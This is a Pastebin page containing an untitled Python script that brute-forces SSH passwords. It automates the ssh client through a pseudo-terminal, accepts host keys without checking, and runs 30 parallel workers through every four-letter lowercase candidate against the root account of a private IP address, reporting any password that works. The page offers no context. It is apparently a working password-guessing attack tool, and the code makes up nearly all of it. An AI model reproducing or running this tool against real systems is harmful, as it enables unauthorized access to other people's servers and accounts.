Advertisement
Guest User

Untitled

a guest
May 14th, 2018
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.67 KB | None | 0 0
  1. #!/bin/python3
  2. import pty
  3. from multiprocessing.pool import Pool
  4. from os import waitpid, execv, read, write
  5.  
  6. import time
  7.  
  8.  
  9. class ssh:
  10.  
  11.  
  12.     def __init__(self, host, askpass=False, user='root', password=b'SuperSecurePassword'):
  13.         self.host = host
  14.         self.user = user
  15.         self.password = password
  16.         self.askpass = askpass
  17.  
  18.     def run(self):
  19.         command = [
  20.                 '/usr/bin/ssh',
  21.                 self.user+'@'+self.host,
  22.                 '-o', 'NumberOfPasswordPrompts=1',
  23.         ]
  24.  
  25.         # PID = 0 for child, and the PID of the child for the parent
  26.         pid, child_fd = pty.fork()
  27.  
  28.         if not pid: # Child process
  29.             # Replace child process with our SSH process
  30.             execv(command[0], command)
  31.  
  32.         ## if we havn't setup pub-key authentication
  33.         ## we can loop for a password promt and "insert" the password.
  34.         while self.askpass:
  35.             try:
  36.                 output = read(child_fd, 1024).strip()
  37.             except:
  38.                 break
  39.             lower = output.lower()
  40.             # Write the password
  41.             if b'password:' in lower:
  42.                 write(child_fd, self.password + b'\n')
  43.                 break
  44.             elif b'are you sure you want to continue connecting' in lower:
  45.                 # Adding key to known_hosts
  46.                 write(child_fd, b'yes\n')
  47.  
  48.         # See if there's more output to read after the password has been sent,
  49.         # And capture it in a list.
  50.         output = []
  51.         while True:
  52.             try:
  53.                 output.append(read(child_fd, 1024).strip())
  54.             except:
  55.                 break
  56.  
  57.         waitpid(pid, 0)
  58.         return 'denied' not in str(output[1])
  59.  
  60.  
  61. class Counter:
  62.     _current = 0
  63.     _last_time = 0
  64.  
  65.  
  66. def count(current_time):
  67.  
  68.     if Counter._last_time and Counter._last_time != current_time:
  69.         print('Requests per second: ' + str(Counter._current))
  70.         Counter._last_time = current_time
  71.         Counter._current = 1
  72.     else:
  73.         Counter._current += 1
  74.  
  75.  
  76. def execute(password):
  77.     try:
  78.         count(int(time.time()))
  79.         s = ssh("10.10.100.163", password=str.encode(password), askpass=True)
  80.         if s.run():
  81.             print('password found: ' + password)
  82.             exit(0)
  83.     except:
  84.         pass
  85.  
  86.  
  87. if __name__ == "__main__":
  88.  
  89.     pool = Pool(30)
  90.  
  91.     possible_passwords = []
  92.  
  93.     for c1 in range(97, 114):
  94.         for c2 in range(97, 114):
  95.             for c3 in range(97, 114):
  96.                 for c4 in range(97, 114):
  97.                     possible_passwords.append(chr(c1) + chr(c2) + chr(c3) + chr(c4))
  98.  
  99.     pool.map(execute, possible_passwords)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement